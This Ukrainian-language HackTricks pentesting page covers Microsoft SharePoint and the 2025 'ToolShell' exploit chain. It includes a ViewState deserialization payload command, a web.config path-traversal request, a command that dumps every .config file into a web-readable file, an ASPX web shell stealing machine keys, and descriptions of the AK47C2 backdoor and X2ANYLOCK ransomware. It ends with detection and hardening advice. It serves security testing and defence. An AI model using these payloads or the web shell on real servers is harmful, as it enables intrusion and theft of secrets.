Microsoft SharePoint – Pentesting & Exploitation
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Microsoft SharePoint (on-premises) побудований на основі ASP.NET/IIS. Більшість класичної веб-атакуючої поверхні (ViewState, Web.Config, веб-оболонки тощо) тому присутня, але SharePoint також постачається з сотнями власних сторінок ASPX та веб-сервісів, які значно розширюють відкриту атакуючу поверхню. Ця сторінка збирає практичні трюки для перерахунку, експлуатації та збереження в середовищах SharePoint з акцентом на ланцюг експлуатації 2025 року, розкритий Unit42 (CVE-2025-49704/49706/53770/53771).
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 експлойт ланцюг (відомий як “ToolShell”)
2.1 CVE-2025-49704 – Впровадження коду на ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>
дозволяє впроваджувати довільний Server-Side Include код на сторінку, який пізніше компілюється ASP.NET. Зловмисник може вбудувати C#, який виконує Process.Start()
і скинути шкідливий ViewState.
2.2 CVE-2025-49706 – Неправильне обхід аутентифікації
Та сама сторінка довіряє заголовку X-Forms_BaseUrl для визначення контексту сайту. Вказавши його на /_layouts/15/
, MFA/SSO, що застосовується на кореневому сайті, може бути обійдено без аутентифікації.
2.3 CVE-2025-53770 – Десеріалізація ViewState без аутентифікації → RCE
Якщо зловмисник контролює гаджет у ToolPane.aspx
, він може надіслати незавірене (або тільки з MAC) значення __VIEWSTATE
, яке викликає десеріалізацію .NET всередині w3wp.exe, що призводить до виконання коду.
Якщо підписування увімкнено, вкрадіть ValidationKey/DecryptionKey з будь-якого web.config
(див. 2.4) і підробіть payload за допомогою ysoserial.net або ysodom:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
Для детального пояснення зловживання ASP.NET ViewState читайте: {{#ref}} ../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md {{#endref}}
2.4 CVE-2025-53771 – Перехід по шляху / розкриття web.config
Відправка підготовленого параметра Source
до ToolPane.aspx
(наприклад, ../../../../web.config
) повертає цільовий файл, що дозволяє витік:
<machineKey validationKey="…" decryptionKey="…">
➜ підробка ViewState / ASPXAUTH cookies- рядки підключення та секрети.
3. Рецепти пост-експлуатації, спостережені в природі
3.1 Екстракція кожного .config файлу (варіант-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
Отриманий debug_dev.js
можна завантажити анонімно і він містить всі чутливі конфігурації.
3.2 Розгорніть ASPX веб-оболонку, закодовану в Base64 (варіант-2)
powershell.exe -EncodedCommand <base64>
Приклад декодованого корисного навантаження (скорочений):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
Написано для:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
Оболонка відкриває кінцеві точки для читання / обертання ключів машини, що дозволяє підробляти ViewState та ASPXAUTH куки по всій фермі.
3.3 Обфускований варіант (варіація-3)
Та сама оболонка, але:
- розміщена під
...\15\TEMPLATE\LAYOUTS\
- імена змінних зменшені до одиничних літер
Thread.Sleep(<ms>)
додано для обходу пісочниці та обходу АВ на основі часу.
3.4 AK47C2 багатопротокольний бекдор та X2ANYLOCK програмне забезпечення-вимагач (спостереження 2025-2026)
Недавні розслідування реагування на інциденти (Unit42 “Project AK47”) показують, як зловмисники використовують ланцюг ToolShell після початкового RCE для розгортання двоканального C2 імпланту та програмного забезпечення-вимагача в середовищах SharePoint:
AK47C2 – варіант dnsclient
- Жорстко закодований DNS сервер:
10.7.66.10
, що спілкується з авторитетним доменомupdate.updatemicfosoft.com
. - Повідомлення є JSON об'єктами, зашифрованими XOR з використанням статичного ключа
VHBD@H
, закодованими в шістнадцятковій формі та вбудованими як піддоменні мітки.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- Довгі запити розбиваються на частини та префіксуються
s
, потім знову збираються на стороні сервера. - Сервер відповідає в TXT записах, що містять ту ж схему XOR/hex:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- Версія 202504 представила спрощений формат
<COMMAND>::<SESSION_KEY>
та маркери частин1
,2
,a
.
AK47C2 – варіант httpclient
- Використовує ту ж JSON & XOR рутину, але надсилає шістнадцятковий об'єкт у HTTP POST тілі через
libcurl
(CURLOPT_POSTFIELDS
тощо). - Та ж робоча схема завдання/результату, що дозволяє:
- Виконання довільних команд оболонки.
- Динамічний інтервал сну та інструкції для вимкнення.
X2ANYLOCK програмне забезпечення-вимагач
- 64-бітний C++ корисне навантаження, завантажене через DLL side-loading (див. нижче).
- Використовує AES-CBC для даних файлів + RSA-2048 для обгортання AES ключа, потім додає розширення
.x2anylock
. - Рекурсивно шифрує локальні диски та виявлені SMB спільні ресурси; пропускає системні шляхи.
- Залишає текстову записку
How to decrypt my data.txt
, вбудовуючи статичний Tox ID для переговорів. - Містить внутрішній kill-switch:
if (file_mod_time >= "2026-06-06") exit(0);
Ланцюг DLL side-loading
- Зловмисник записує
dllhijacked.dll
/My7zdllhijacked.dll
поруч з легітимним7z.exe
. - SharePoint-створений
w3wp.exe
запускає7z.exe
, який завантажує шкідливу DLL через порядок пошуку Windows, викликаючи точку входу програмного забезпечення-вимагача в пам'яті. - Спостережено окремий завантажувач LockBit (
bbb.msi
➜clink_x86.exe
➜clink_dll_x86.dll
), який розшифровує shell-code та виконує DLL hollowing вd3dl1.dll
, щоб запустити LockBit 3.0.
info
Той самий статичний Tox ID, знайдений у X2ANYLOCK, з'являється в витоках бази даних LockBit, що свідчить про перекриття афілійованих осіб.
4. Ідеї для виявлення
Телеметрія | Чому це підозріло |
---|---|
w3wp.exe → cmd.exe | Процес робітника рідко повинен запускати оболонку |
cmd.exe → powershell.exe -EncodedCommand | Класичний шаблон lolbin |
Події файлів, що створюють debug_dev.js або spinstall0.aspx | IOCs прямо з ToolShell |
ProcessCmdLine CONTAINS ToolPane.aspx (ETW/Module logs) | Публічні PoCs викликають цю сторінку |
Приклад правила XDR / Sysmon (псевдо-XQL):
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
5. Укріплення та пом'якшення
- Патч – Оновлення безпеки за липень 2025 року виправляють всі чотири CVE.
- Змінюйте кожен
<machineKey>
таViewState
секрети після компрометації. - Видаліть LAYOUTS права на запис з груп
WSS_WPG
таWSS_ADMIN_WPG
. - Блокуйте зовнішній доступ до
/_layouts/15/ToolPane.aspx
на рівні проксі/WAF. - Увімкніть ViewStateUserKey, MAC увімкнено та користувацький EventValidation.
Супутні трюки
- IIS пост-компрометація та зловживання web.config: {{#ref}} ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md {{#endref}}
Посилання
- Unit42 – Активна експлуатація вразливостей Microsoft SharePoint
- GitHub PoC – Ланцюг експлуатації ToolShell
- Microsoft Security Advisory – CVE-2025-49704 / 49706
- Unit42 – Проект AK47 / Експлуатація SharePoint та активність програм-вимагачів
- Microsoft Security Advisory – CVE-2025-53770 / 53771
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.